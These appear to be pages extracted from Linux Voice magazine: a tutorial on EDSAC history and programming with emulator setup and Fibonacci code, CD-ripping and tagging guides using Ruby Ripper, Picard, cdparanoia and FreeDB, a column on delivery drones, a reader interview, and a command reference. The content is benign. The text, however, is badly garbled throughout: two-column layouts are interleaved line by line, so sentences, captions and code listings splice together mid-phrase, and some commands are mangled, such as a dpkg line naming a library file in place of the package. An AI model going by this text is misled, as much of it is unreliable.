Laboratory. It first ran in May 1949 and was EDSAC and subroutines
immediately operational for research. Up in David Wheeler (who earned the world’s first Computer
Manchester, the Science PhD while working on EDSAC) was asked by
“The EDSAC library was Mark I was first run
in April 1949 but
Wilkes in 1949 to create a library of programs and
subroutines for the machine. Grace Hopper was
certainly operational before wasn’t running beginning to think about the same ideas at about this
Grace Hopper’s UNIVAC libraries.” regularly or error-free
until June 1949, so
time, working on UNIVAC in the US. Wilkes and Hopper
met when Wilkes visited the US in 1950, and Wilkes
EDSAC beat it into reported feeling that the two groups had much in
regular service by a month. common with how they thought about programming.
Bill Renwick (L) and
EDSAC had mercury delay line memory, vacuum In a 1958 paper by Hopper, she acknowledged that
Maurice Wilkes in front
of the EDSAC I. Copyright tubes for logic, punched-tape input and teleprinter while subroutines had been a part of computing since
Computer Laboratory, output. Initially, there were 512 memory locations of the war years, the first real organisation and
University of Cambridge. 18 bits each available; later, in 1952, a further 512 systematisation of them was done by the EDSAC
Reproduced by permission. locations came online. Timing issues meant that the group. The EDSAC library was certainly operational
before Hopper’s UNIVAC libraries (and her A-0
‘compiler’ which linked subroutines together) were. But
clearly the notion of reusing code like this occurred to
several people independently at about the same time
– it’s a fairly obvious solution to a common problem,
and early programmers were a resourceful bunch.
However, it was Wheeler who got there first; and a
jump to subroutine is often still known as a Wheeler
Jump. When the programmer called a Wheeler
subroutine, the program would jump to the start of the
subroutine with the address of the program counter
plus one in the register. (So if it was at line 10, it would
put line 11 into the register before jumping.) The
subroutine would then write that address into its final
line so it could jump back when it was finished. The
user would have to copy the subroutine code into the
right place on the tape. This demonstrates a
technique used extensively by early programmers but
which a modern coder would disapprove of: directly
altering code to enable jumps and indexing.
106 www.linuxvoice.com
EDSAC AND DAVID WHEELER CODING
By 1951, there were 87 subroutines available for
EDSAC, covering a wide range of mostly EDSAC instruction set (with thanks to Martin Richards):
mathematical operations, although print, layout, input,
An A += mem(n) (add n to the Ln As Rn but shift left.
and loop simulation subroutines were also included.
accumulator). En If A >= 0, goto n.
Wheeler and the EDSAC team are also credited with Sn A -= mem(n) (subtract n from Gn If A < 0, goto n.
the world’s first assembler, in the EDSAC’s Initial the accumulator). In Read next paper tape character
Orders 2. EDSAC’s instructions (see below) were Hn R += mem(n) (add n to into least significant bits of n.
designed to be represented by a mnemonic single the register). On Output character in most
Vn AB += mem(n) * R (add n significant bits of n.
letter (eg A for Add was coded using the bit pattern for
multiplied by the register to the Fn Verify last character output.
A). The ‘initial orders’, setting up the basic operations long accumulator. Xn No operation.
for the machine, were hard-wired on switches and Tn mem(n) = A; ABC = 0 (store Yn Add a 1 to bit position 35 of
automatically loaded at startup into the first memory accumulator in n, zero whole the whole accumulator (sign bit
locations. EDSAC would then run from location 0. The accumulator). counts as zero). This rounds the
Un mem(n) = A (store accumulator accumulator up to 34
first version of the initial orders was very basic, and in
in n, do not zero accumulator). fractional bits.
particular had the major limitation that all memory Cn AB += mem(n) & R (add n anded Zn Stop the machine and ring a bell.
locations had to be absolute (ie referring to a with R to the accumulator). n refers to a numerical memory
numbered location). Rn Shift whole accumulator right by location. All instructions would
The Initial Orders 2, written by Wheeler in May 1949, the number of places end with either S or L, for a short
corresponding to the least word or a long word. The L
among other things enabled the programmer to refer
significant 1 in the shift instructions worked with more
to locations relative to a specified point, making it instruction. of the accumulator.
much easier to edit and debug programs. The Initial
Orders 2 are fully described in the 1951 textbook The
Preparation of Programs for an Electronic Digital Let’s have a quick look at the emulator display panel
Computer, by Wilkes, Wheeler, and Gill; this had a big Monitor display at left shows a single long tank
impact on the programming culture of the 1950s, and (select which one with the Long Tank counter in the
its legacy lives on today. There’s also a listing of the panel underneath). Bright dot for 1, small dot for 0.
PRO TIP
Initial Orders in Martin Richard’s excellent poster at This represents a CRT display.
A quotation often
www.cl.cam.ac.uk/~mr10/Edsac/edsacposter.pdf. Output This represents the teleprinter output from a
attributed to David
program. Wheeler: “Compatibility
EDSAC emulator Buttons These are mostly self-evident, but Single means deliberately
repeating other people’s
Warwick University’s website (www.dcs.warwick. EP runs a program an instruction at a time. The
mistakes.”
ac.uk/~edsac) has an EDSAC simulator for Linux. Clear button was a slightly later addition. The
Unfortunately it’s very old (2002), so you may need to original method of clearing the memory was,
do a little fiddling to install it on a modern system. apparently, to earth the electrical terminals with a
Using Debian (this should also work on Ubuntu; wet finger.
apologies to users of other distros), this is how I did it: The clock represents ‘real time’ taken by the EDSAC.
Click the Software menu item and download the If you click the Real Time button in the top menu
Linux version of the software from that page. bar, the simulator will run in real time; otherwise it EDSAC simulator showing
Unzip and untar with tar zxf EdsacLX_v102.tar.gz. will run as fast as possible, but the clock will still the final output of the
Now cd into that directory. If you type ./runedsac show ‘EDSAC time’ to give you an idea of how fast Squares program. You can
see from the dial that this
you will most likely get a message telling you that (or not…) the original machine was.
took about six minutes to
the shared library libstdc++-libc6.1-1.so.2 cannot Registers At bottom left are a representation of the
run.
be found. This is a very old library which has been
superseded.
The library can be found for Debian in the
libstdc++2.9-glibc2.1_2.91.66-4_i386.deb
package, available from http://archive.debian.net/
woody/libstdc++2.9-glibc2.1. Download the Deb
from that link (it advises you to use Aptitude but
unless you wish to install lots of very old packages
that seems like overkill to me).
Install the Deb with sudo dpkg -i libstdc+_-
libc6.1-1.so.2.
Run the emulator with ./runedsac and this time all
should be well.
NOTE: this is a very old, archived library package,
which could have bugs or security risks. Install at your
own risk. It might be sensible to uninstall it once you’re
done playing with EDSAC, using dpkg -r. (With thanks
to the debian-user list for the link.)
www.linuxvoice.com 107
CODING EDSAC AND DAVID WHEELER
ZF // Stop
&F // Store linefeed
#F // Store figure shift
1F // Store 1
2F // Store 2
3F // and so on
4F
5F
EZPF // Enter program at location θ
(With thanks to the Tutorial Guide.) F (which has the
value 0) corresponds to S and D (value 1) to L in Initial
Orders 2.
This loads the program from location 64 (which
corresponds with the first line of long store 2, making
it easy to find it and check that it has loaded correctly).
It then sets the marker θ, and stops. The stop means
that once we’ve loaded the program with the ‘Start’
button, we can check what it looks like before hitting
‘Reset’ to clear the Stop flag and continue with
operations.
We’ve calculated the
registers (accumulator, multiplier, etc. In the real The next seven lines output locations θ + 9 to θ +
first six of the Fibonacci
numbers, with the listing thing these were displayed on CRT tubes. 15. Instead of hard-coding a memory location, you set
on left and the output Dial This enables the operator to input a single the θ marker, and then count lines from there. So θ + 9
showing in the teleprinter decimal number. is the line that contains & F; and so on. You store the
screen. The quickest way to see the emulator in operation is data in one place and output it in another. The next ZF
to run one of the included demo programs. For stops operation. After this we have the data storage. &
example, the Squares one, which is an exact copy of is the line feed character, and # is the figure shift (* is
the Squares program run for the first time in 1949. To the letter shift). You need to specify whether you’re
load it, click Clear, then choose Initial Orders 1 from outputting figures or letters in advance. We then store
the menu bar. Choose Open > Edsac Tapes > a bunch of numbers, and EZPF jumps back to θ and
Demonstration Programs > Squares.txt, and the begins operation from there. (Which, in this instance,
Squares file will pop up. Select Long Tank 0, then hit means an immediate Stop until the user hits Reset.)
Start, and the initial orders, then the program, will load. Load and hit Start, and take a look at Long Tank 2.
You should soon see output on the teleprinter box. Then hit Reset to run the rest of the program and you
You can look at the various Long Tanks to see what is should see the expected output. Try editing it by
happening inside the machine. replacing #F with *F and output words instead.
The Tutorial Guide at the Warwick website If you try to edit this to output 1-6, you will notice
(www.dcs.warwick.ac.uk/~edsac/Software/ that adding an extra line in the first part of the
EdsacTG.pdf) includes a full rundown of the Squares program means editing all the O lines. To avoid this,
program, so we won’t reproduce that here (especially we can set another mark point. I’ve added line
as it is very long). Instead, let’s try writing a much numbers for ease of reading but again, don’t include
simpler program. To make life easier, we’re going to them in the file.
switch to using the Initial Orders 2 (change the T 64 K // load at location 64
drop-down box in the menu bar). GK // Set θ mark
This program will output the numbers 1–5. Note T 47 K // This loads label M
that while I have added comments for ease of layout, P9@ // and this places it at line θ + 9
these shouldn’t be typed into the program. However TZ // Restore θ (ie set it here)
you can use new lines and spaces as you please. (Not 0 ZF // stop
historically accurate, but much simpler!) Save this as a 1 O0M // output location M + 0
.txt file. 2 O1M // output location M + 1
T 64 K // Load the program in from instruction 64 .... O 2-6 M // and so on, as previous version
G K // Set θ to current load point 8 ZF // stop
Z F // Stop M0 &F // Store line feed
O9 @ // 1 #F // Store figure shift
O 10 @ // 2 1F // Store 1 ... and so on as before
O 11 @ // EZPF // Start execution from θ
O 12 @ // Print (output) location θ + 9 - 15 This has the same output as before, but instead of
O 13 @ // (see below) having to calculate “lines after θ” and alter them if you
O 14 @ // add more lines, you set the mark M (at a certain
O 15 @ // number of lines after θ) and then calculate data
108 www.linuxvoice.com
EDSAC AND DAVID WHEELER CODING
storage from there. If you add more lines before M,
you only have to edit the P 9 @ line.
Calculating Fibonacci numbers
Let’s try using a loop to calculate and output the
Fibonacci sequence:
T 64 K // As above, this section reads in the program
GK // and sets θ
T 47 K // and these two lines
P 20 @ // set M
TZ // Reset θ
0 ZF // stop bell
1 O0M // output line feed
2 O1M // output figure shift
3 O2M // output 1st Fib number
4 O0M // lf
EDSAC may have been the
5 O3M // 2nd Fib number again. Once the number in M4 has reached -1, the
site of the first video game
6 O0M // lf program will stop (line 19). – a version of noughts and
7 A4M // load number of rounds to run Enter the program without line numbers and crosses (tic-tac-toe) which
comments, then run it by hitting Clear, Start, and output to the cathode ray
8 T4M // transfer number of rounds out of accumulator and Reset to begin output, and you should get the first 6 tube. (The software is
clear Fibonacci numbers, as in the screenshot. available for the simulator
9 A2M // load 1st Fib number into accumulator However, if you increase the value in line M4 and as oxo.txt.) Copyright
10 A 3 M // add 2nd Fib number run it again, you’ll start getting weird output. This is Computer Laboratory,
University of Cambridge.
11 U 3 M // transfer total into space for 2nd Fib number DO because this output method only works for single
Reproduced by permission.
NOT clear digits. For larger numbers you’ll need to use the
12 S 2 M // subtract original 1st from accumulator subroutine P6 to print them properly. Unfortunately
13 T 2 M // transfer original 2nd into space for 1st there’s no space to look at that in this tutorial, but
14 O 3 M // output new 2nd there’s plenty of information in the emulator’s Tutorial
15 O 0 M // lf Guide if you want to extend this program, and it has a
16 A 4 M // transfer number of rounds few suggested programming challenges. You can
17 S 5 M // subtract one round also examine the program listings included with the
18 E 8 @ // is number still positive? If so loop back to line 8 emulator software to learn more.
19 ZF // otherwise stop
Other EDSAC tidbits
M0&F // data! Line feed There is a collection of personal reminiscences from
1#F // figure shift the program at the University of Cambridge Computer
21F // 1st number Laboratory webpage (www.cl.cam.ac.uk/events/
31F // 2nd number EDSAC99/reminiscences). These include mention of
43F // number of rounds the dissecting fluid smell of the EDSAC room (which
51F // 1 -- for subtracting from rounds was in what had been the anatomy school); memories
of some of the technical experiments with magnetic
EZPF // start from θ tape; operational difficulties; and some recollections
The initial few lines are the program setup, as of the EDSAC summer schools (including one from
discussed above. Lines 1–7 output the initial ‘seed’ Edsger Dijkstra).
numbers of the sequence, and load the number of Its successor, EDSAC 2, was commissioned in
rounds to run. The main program loop is lines 8–18. 1958; and in 1961 a version of Autocode (a high-level
We add the two seed numbers, store the result, and programming language a bit like ALGOL) was
then move the 2nd of the seed numbers to the 1st prodcued for EDSAC 2. Currently the Computer
storage position (line M2). As you’ll notice, this is done Conservation Society is building a working replica of
by subtracting #1 from the total (leaving #2) and EDSAC, to live at the National Museum of Computing
storing the result in position #1. We now have the next at Bletchley Park, and hopes to have it operational by
two numbers ready for the next loop, and a cleared late 2015. See www.tnmoc.org/special-projects/
accumulator. We subtract one from the number of edsac for more info.
rounds, check whether it’s positive (note that 0 is
positive, so you’ll get one more round than you might
expect), and if it is, jump back to the start of the loop, Juliet Kemp is a scary polymath, and is the author of
O’Reilly’s Linux System Administration Recipes.
where the number of rounds remaining is stored
www.linuxvoice.com 109
MASTERCLASS AUDIO TOOLS
MASTERCLASS
Without music, life would be a mistake. Join us as we
BEN EVERARD celebrate the new UK legal status of ripping your own CDs.
RUBY RIPPER & PICARD
MANAGE YOUR MUSIC
Efficient music management is one of those things that calls for a GUI application…
T
oday’s portable media devices and
JOHN LANE smartphones have enough storage to allow
most people to carry their entire music
collection in their pocket. But if yours includes a CD
collection, then you’ll need to rip those discs into digital
audio files that your devices can use.
This is a three-step process: you need to extract, or
rip, the audio from the disk and encode it into suitably
formatted data files that you can then tag with
metadata that describes them. If your preference is for
PRO TIP GUI tools, there are many options available to help you With Ruby Ripper you can edit your CD’s track names
Ruby Ripper also has a build and maintain your music collection, but there isn’t before ripping and use the preferences pages to select
command-line mode:
any one-size-fits-all solution that does everything. You’ll encoders and define how files should be written.
rrip_cli.
still need one tool for ripping and another for tagging
and organising your rips, but this does allow you to music database (if there are multiple matches you
select your preference in each area. can choose which one to use). You’re presented with
The default ripper on Gnome-based systems is a simple dialog that lists CD and track details and you
called Sound Juicer, which can rip an audio CD into can edit these if necessary prior to hitting the Rip CD
various formats, but only one at a time. KDE users Now button to begin ripping.
have K3b and other possible alternatives include GUI CD ripping tools perform lookups to FreeDB
applications called Grip and Asunder. These will all rip and tag the ripped tracks accordingly. However, a
your CDs quickly and easily, but we’re going to use dedicated tagger will ultimately give you more control
Ruby Ripper. This uses the cdparanoia command line over the process.
tool, but goes further to ensure accuracy by ripping EasyTag is a feature-rich tagging tool that allows
each track at least twice and comparing them. you you tag files, rename them and organise them
If you’re an Ubuntu user, you’ll need to add a into directories. It enables you to view, add or remove
third-party repository to install Ruby Ripper, because it album cover art but doesn’t have a facility to locate it
isn’t officially supported: (http://albumart.org can help with this). EasyTag is in
$ wget -q -O - http://archive.getdeb.net/getdeb-archive.key | most distros’ default repositories.
sudo apt-key add - EasyTag makes it easy to perform bulk operations. It
$ sudo sh -c ‘echo “deb http://archive.getdeb.net/ubuntu can generate metadata from a file’s path and tag files
trusty-getdeb apps” >> /etc/apt/sources.list.d/getdeb.list’ with it. It can use existing metadata or fetch it from
$ sudo apt-get update FreeDB or MusicBrainz (another music database) and
$ sudo apt-get install rubyripper use it to re-tag, move and rename files.
Arch Linux users have life a little easier:
$ pacman -S ruby-ripper The Brainz behind the music
Once you’ve installed Ruby Ripper, insert a CD and MusicBrainz is, in its own words, “an open music
launch the GUI application: encyclopedia that collects music metadata and
$ rrip_gui makes it available to the public”. It’s similar to FreeDB
The disc is scanned and looked up on the FreeDB and CDDB, which preceded it, but takes the concept
110 www.linuxvoice.com
AUDIO TOOLS MASTERCLASS
process should have tagged the files using metadata
from FreeDB). You should see a single cluster
containing all of the tracks from the ripped album;
there’ll be multiple files for each track if you ripped into
multiple formats.
Now is the time to add a release to MusicBrainz if
you were unable to find a MusicBrainz match before
ripping. If you right-click the cluster and choose
Plugins-> Add Cluster As Release, Picard will open the
MusicBrainz Add Release page in your browser and
pre-populate it using the ripped files’ metadata.
EasyTag auto-corrects tags to add missing spaces as well The page has several tabs that you must navigate
as updating the ID3 tag version on MP3 files. Changed to supply all of the required information. You should
files that need to be saved are highlighted. try to supply an external link as a cross-reference. You
can reference pages from Discogs and/or Amazon;
further by providing a relational database of music the latter will also be used as a source for album
PRO TIP
(not just compact discs). All its data is either in the artwork.
To get the best from
public domain or released under a Creative Commons The final Edit Note tab is where you’ll find the the
MusicBrainz and Picard,
Non-Commercial Share-Alike licence. Enter Edit button, which submits the new release. you should register as a
It provides a very capable application called Picard, Before adding a release for the first time, you should user on the MusicBrainz
website.
which enables you to tag your music files with data familiarise yourself with what is expected by reading
from the MusicBrainz database. It has lookup tools the MusicBrainz Beginners’ Guide at
that use a disc ID to locate albums in the database. https://musicbrainz.org/doc/Beginners_Guide.
Where matches cannot be found, it integrates with It displays the new release in your browser so that
your browser to provide a seamless interface between you can check it or augment it further, perhaps
the MusicBrainz website and the Picard application. supplying album art if none was found automatically.
It’s easy to extend Picard’s functionality with plugins You should click the green ‘Tagger’ icon to load the
available at https://musicbrainz.org/doc/ new release into Picard, where it should appear in the
PRO TIP
MusicBrainz_Picard/Plugins. We recommend ‘Add panel on the right-hand side.
New MusicBrainz users
Cluster as Release’ because it simplifies adding The final step is to tag the clustered files with the are followed by
albums to MusicBrainz, but there are several to release. Open the release by double-clicking on it; this moderators for a short
choose from or you can write your own in Python. will display the tracks beneath. Now, drag the cluster period to help maintain
data quality. Consider this
and drop it on top of the tracks (it doesn’t matter which as having a free mentor to
Make it so track the cluster lands on) and then right-click the help get you started!
Begin a ripping session by opening Picard. It has a release and refresh, which moves the files onto the
status line that lets you know what is happening, and correct tracks. You can review the metadata for each
you can get more feedback by running it from a file before saving (another right click on the release).
terminal in debug mode. Should you want to do that, Depending on your configuration (Options > Options
begin with: > File Naming), Picard can also rename the ripped files
$ picard -d and copy or move them into a new location.
Place a CD in your drive and use picard’s “Lookup Keep another tagging tool, such as EasyTag or Ex
CD” to see if it’s already in the MusicBrainz database. Falso, close by – it can be easier to perform other
This displays a pop-up containing any matches so edits outside Picard should you need to use tags that
that you can select one. Alternatively, you can press a Picard doesn’t.
‘Lookup Manually’ button to open a browser where
you can perform a manual search. Picard listens for
updates (usually on port 8000) and sends its port
number in the browser request. MusicBrainz displays
an additional ‘Tagger’ link, a green icon, that you can
use to send your selection back to Picard.
Fire up Ruby Ripper to rip the CD according to your
needs (we ripped into Flac, Ogg and MP3). If you
found a MusicBrainz match you needn’t worry too
much about the quality of the FreeDB data returned
by your ripper, because Picard will re-tag your files.
Navigate Picard’s file browser (the left-hand panel -
do Ctrl+B if it isn’t visible) to the directory where your
ripped files were written, drag it into the centre panel MusicBrainz, through its website and its Picard tagging
and then hit the Cluster button. This groups files into application, gives you rich metadata to tag your music
clusters based on common metadata (your ripping with and makes it easy to contribute data yourself.
www.linuxvoice.com 111
MASTERCLASS AUDIO TOOLS
RIP CDS FROM THE COMMAND
LINE WITH CDPARANOIA
Use the command line to rip, tag and organise your CD collection.
B
ack in the day, CD ripping was performed with We now have the tracks off the CD in our desired
JOHN LANE a tool called cdda2wav, but this has been formats but we yet don’t know what they are. They all
improved upon by cdparanoia, which can have names like track01.cdda.flac. We could look at
recover from disk read errors including some disk the CD sleeve and rename the files by hand or we can
scratches. It’s our ripping tool of choice, and you identify the disc and look it up in a database. A disc ID
should find it in your distro’s repository. Pop a CD in is a 32-bit number, presented as eight hexadecimal
your drive and try it out digits, which can be used to identify an audio CD. It is
$ cdparanoia -B derived from the starting times of each track and the
This rips the audio CD /dev/cdrom and produces total playing time of the disc. The cd-discid tool will
WAV format files in the current directory. You’ll see show the disc ID and track offset data for a CD:
something like this for each file: $ cd-discid /dev/cdrom
outputting to track02.cdda.wav 900c330c 12 150 17142 31490 57867 84507 105025 120762
(== PROGRESS == [ | 031371 00 ] == :^D * ==) 135657 152745 179847 198320 217650 3125
The progress bar keeps you informed of what’s You can use the disc ID to perform a search in
happening; your rip should be fine if you don’t see ! or various CD databases. These are mostly community-
V characters. maintained databases that are free to use and have
The WAV files open-source licences. They were forked from an open
“cdparanoia is our CD ripping contain the CD Database called CDDB that has since become a
tool of choice, and you should uncompressed digital
data, but there are
proprietary service called Gracenote. Due to their
common origin, the forked services use a similar
find it in your distro’s repository.” many other, more protocol now known as the FreeDB CDDB Protocol.
suitable, formats like You can use Telnet to access a CDDB protocol
MP3, Ogg Vorbis and FLAC. There are separate server on port 8880:
encoders for each format, and a little Bash lets us $ telnet freedb.freedb.org 8880
process each track into the formats we want: 201 mirror1.freedb.org CDDBP server v1.5.2PL0 ready
$ for f in track*.cdda.wav; do > cddb hello foo bar baz 1
> oggenc $f 200 Hello and welcome foo@bar running baz 1.
> lame $f > cddb query 900c330c 12 150 17142 31...
> flac $f 200 misc 900c330c Pulp / Different Class
> done > cddb read misc 900c330c
The default encoder settings are acceptable, but if 210 misc 900c330c CD database entry follows (until terminating
you want more control over quality vs compression `.’)
you can check the commands’ man pages for their # xmcd CD database file
respective arguments, which enable you to customise #
the encoding process. # Track frame offsets:
Audio CD duplication
If you want to make a physical copy of an audio CD the
process is different; you don’t rip the tracks, but instead
make a disc at once copy. The tool for this is cdrdao:
$ cdrdao read-cd --datafile mycd.bin mycd.toc
You cannot use data tools like dd to copy audio CDs
because they don’t have a filesystem. You don’t create an
ISO file, but instead a pair of files: the .bin is the disc image
and its .toc is a text file that contains its table of contents
and describes the track layout. You can augment the table
of contents with track titles and artist names from FreeDB:
$ cdrdao read-cddb mycd.toc
You can use these files to write to a recordable CD:
$ cdrdao write mycd.toc
CD-text will also be written to the disc if the table of
contents contains FreeDB data.
It’s official: cdparanoia has a weird bargraph. Read the FAQ to understand it.
112 www.linuxvoice.com
AUDIO TOOLS MASTERCLASS
# 150
# 17142
...
> quit
When you first connect, you must send a ‘hello’. It
expects a user and hostname and the name of the
connecting client software and version but, as our
example shows, it doesn’t matter what you send.
Next, you issue a ‘query’, which takes the output of
cd-discid. You then use the returned genre and disc
ID values to perform a ‘read’ (if you already know
these then you can omit the query). The resulting
display contains various information, including the
track names that you can use to rename your files.
Another way to do this is to send an HTTP query
from your web browser or use curl, which is probably
the best approach if you’re writing a script. The
commands used above are encapsulated in a query
string; the following example performs the same
query as above:
$ curl “http://freedb.freedb.org/~cddb/cddb.
cgi?cmd=cddb+query+$(cd-discid | sed ‘s/
/+/g’)&hello=foo+bar+baz+1&proto=6”
Spaces in the query need to be represented using
“+” so the output of “cd-discid” is passed through “sed”
to perform this conversion. Performing the read
operation is similarly straightforward:
$ curl ‘http://freedb.freedb.org/~cddb/cddb.cgi?cmd=cddb+read
+misc+900c330c&hello=foo+bar+baz+1&proto=6’
It’s easy to rip from the command line. Look no further than your distro’s repository.
Tag art
Correctly naming files isn’t enough, because most
media players rely on metadata contained within the The easiest way to use it is to customising its
files to identify them. You can add these tags with configuration file, /etc/abcde.conf, and save it as
command-line utilities. Again, each format has its ~/.abcde.conf. Once you’ve done this, you can rip,
own tagger: encode and tag to multiple formats with a single PRO TIP
$ eyeD3 -A “Mis-Shapes” -G “BritPop” -Y 1995 01:Mis-Shapes. command. Put a CD in your drive and do
Some CDs contain track
mp3 $ abcde and artist data as
$ vorbiscomment -w -t ‘TITLE=Mis-Shapes’ -t ‘GENRE=BritPop’ abcde rips your CD, performs a CDDB lookup, ‘CD-Text’ that you can see
01:Mis-Shapes.ogg allows you to choose the match you want in the even with a tool called cd-info.
$ metaflac --set-tag ‘TITLE=Mis-Shapes’ --set-tag of the search returning multiple matches, and gives
‘GENRE=BritPop’ 01:Mis-Shapes.flac’ you the chance to edit the data before use. It encodes
You can also attach images as tags. If you have to multiple formats and stores the files using a file-
album cover art images, you can embed these within and directory-naming convention of your choice. You
the files’ metadata. It’s easy for MP3 and FLAC files: control all of this from A Better CD Encoder’s
$ eyeD3 --add-image cover.jpg:FRONT_COVER 01:Mis-Shapes. configuration file.
mp3 The default configuration is mostly acceptable but
$ metaflac --import-picture-from cover.jpg 01:Mis-Shapes.flac’ you may wish to customise how it names files and
Ogg Vorbis requires the image to be base-64 directories. Look at the first 50 or so lines of the file
encoded, which requires a little more effort and the and edit to suit your needs. The ones you’ll most-likely
base64 command-line utility: want to alter include the OUTPUTTYPE, which
$ vorbiscomment -a -t “COVERART=$(base64 --wrap=0 < cover. specifies the desired output formats, and the
jpg)” 01:Mis-Shapes.ogg OUTPUTDIR and OUTPUTFORMAT entries, which
define where files are written and how they are
As easy as abcde... organised into directories and named. The CDDBURL
If all this sounds too hard and you want something to enables you to specify the FreeDB service that you
take the pain away, you can try ‘A Better CD Encoder’, want to use.
or abcde. This is a Bash script that wraps the tools abcde greatly simplifies command-line CD ripping
that we’ve been using and makes using them painless and is probably all you’ll really need, unless you want
and it’s in most distributions’ repositories. to add a GUI tagging tool into the mix.
www.linuxvoice.com 113
/DEV/RANDOM/
Final thoughts, musings and reflections
Nick Veitch
was the original editor Linux desktop with Second monitor
of Linux Format, a Windows dual-boot doubles as display
role he played until he for work and play. for PS3 gaming.
got bored and went
to work at Canonical
instead. Splitter!
Lucky charms (Buddhas
T
from Australia, a piece
here has been another recent spate of of eight, a spent 9mm
Parabellum bullet). Literature (Gibbon’s
“news” stories about delivery drones. Not Decline and Fall).
to be confused with the ones that deliver
indiscriminate scorching death from the skies,
these would be the ones that deliver your books Mechanical keyboard
or whatever from Amazon. As the Hovis delivery with Cherry MX Blue
switches.
boy must be approaching pensionable age,
these seem like a very good idea indeed. Old Olympia
typewriter for
I am personally looking forward to the day distraction-free
when they become a reality. If they ever do. writing.
Because actually, to make them viable in all but Lots of offline notebooks.
the most unique delivery situations, there will be
a number of interesting problems to solve.
Leaving aside the accuracy of navigation ( opens
door to drone, tries to explain that 13c is two
My Linux setup Fabian A Scherschel
flights up, round the back, knock on the red door), Heise Security editor, OggCamper and Linux Outlaw.
there is the question of actually building a viable
drone that can deliver a reasonable payload. What version of Linux are you The shell (mostly Bash). Whenever I
Yes, the spitting napalm death drones manage using at the moment? am using Windows these days, it
this, but they are rather expensive to operate. I’ve been running Xubuntu (currently feels like someone has chopped my right
And if you wanted to deliver a book to the 14.04) for a while on my desktops hand off because their command line is
Taliban, your drone would also have to be quite and laptops. My servers run on Debian so horrible – and yes, I do include
pricey. I imagine the US military consider the Wheezy. I also use Kali Linux a lot at work PowerShell in that.
cost of the drone and the fuel quite reasonable to poke around systems and network
considering they are in the habit of delivering traffic. I prefer Xfce as a desktop; What do other people love but
$20k bombs, but I don’t think the economics Gnome 3 works too. you can get on without?
stretch to a $4.99 DVD. Gentoo. Compiling things just isn’t
The military also don’t care if you aren’t at What was the first Linux setup for me. I suck at it, especially
home (they don’t leave explosive devices “in a you ever used? kernels. Also Emacs – I have no idea how
safe place”), but I am looking forward to the Knoppix with KDE at university in people can use that thing.
‘myXerxes’ delivery robot depositing my latest 2004. I hated it so much, it turned
gadgets in the outside toilet and leaving a note to me off Linux completely for a while. The Is there a piece of proprietary
that effect, presumably on the roof. first install I did myself was Ubuntu software that you wish was
Nevertheless, I’m sure the clever tax-dodgers Dapper in 2006. I’ve spent several years open source?
of the world’s online retail sector can rise to on Fedora as well and used Arch Linux for Sublime Text [highly praised in
these challenges, which means each drone will a while. LV002’s text editors group test] I’ve
be packed with all sorts of exciting/expensive/ written millions of words in it in the last
hard-to-source components. As for myself, I will What Free Software/open source few years. In fact, this very answer was
be investing in a long pole and a very large net. can’t you live without? composed in Sublime.
114 www.linuxvoice.com
GNU/Linux command reference
File commands File and user permissions
ls List files in current directory chown myfile mike:mygroup Change ownership of myfile to user
ls -la List files with details, and show hidden files mike and group mygroup
(beginning with a dot)
chmod a+r myfile Make myfile readable by all users
ls -laSh Like above, but sort by size and show
human-readable size
chmod +w myfile Make myfile writable by the current user
cd mydir Switch into mydir directory
chmod +x myfiles Make myfile executable (so you can run
cd .. Switch to directory above
it with ./myfile)
cd ~ Switch to home directory (eg /home/bob)
sudo somecmd Run somecmd as the root (admin) user
rm myfile Remove myfile
(most distros)
rm -r mydir Remove mydir directory and subdirectories Like above, but where sudo is not available
su -c “somecmd”
rm *.jpg Remove all files that end in .jpg
rm file?.jpg Here, ? can be any single letter or number
cp file1 file2 Copy file
cp -r dir1 dir2 Copy directory Resource management
mv file1 file2 Move/rename file or directory ps ax List all running processes
cat file2 >> file1 Append file2 content on to the end of file1 ps ax | grep -i firefox Show Firefox processes
less textfile View contents of textfile (press Q to quit) kill 530 Gracefully terminate process with ID 530 (from
du -h Show disk space usage in current directory first column of ps ax command)
kill -9 530 Forcibly kill process (eg if it’s not
responding at all)
Archiving and encryption
fg Bring a program that you backgrounded
tar cfvz file. tar.gz mydir Create compressed archive
with Ctrl+Z to the foreground
of mydir directory
top Show a constantly updating list of processes
tar cfvj file. tar.bz2 mydir Like above, but with stronger
free -m Show how much RAM is being used, in MB
compression
(second line of output is most useful)
tar xfv file.tar.gz Extract archive (also works
df -h Show space usage on drives and partitions
with .bz2 files)
mount Show where drives are mounted onto
gpg -c --cipher- algo AES256 filename Encrypt filename to
the filesystem
filename.gpg using a
w Show logged-in users, and uptime information
password
gpg filename. gpg Decrypt the previously
created file
zip -ry filename.zip mydir Creates Zip archive from Handy shortcuts
mydir Ctrl+C Terminates running command
Ctrl+Z Puts running command into the background
Ctrl+D Log out of terminal (like running exit)
Text editing
Up/down cursor keys Cycle through previous commands
nano filename Edit in Nano (use su/sudo to edit system
Ctrl+R Type text to find most recently entered
files as root)
command containing the text
Ctrl+O Save file
Tab Use to complete file and directory names (eg ls
Ctrl+X Exit editor
my<Tab> to complete to myfile)
Ctrl+W Find word
man cmd Show the manual page for a command (use
Ctrl+C Show line number
/word to search for “word”, and Q to quit)
Ctrl+K/U Cut/paste line
www.linuxvoice.com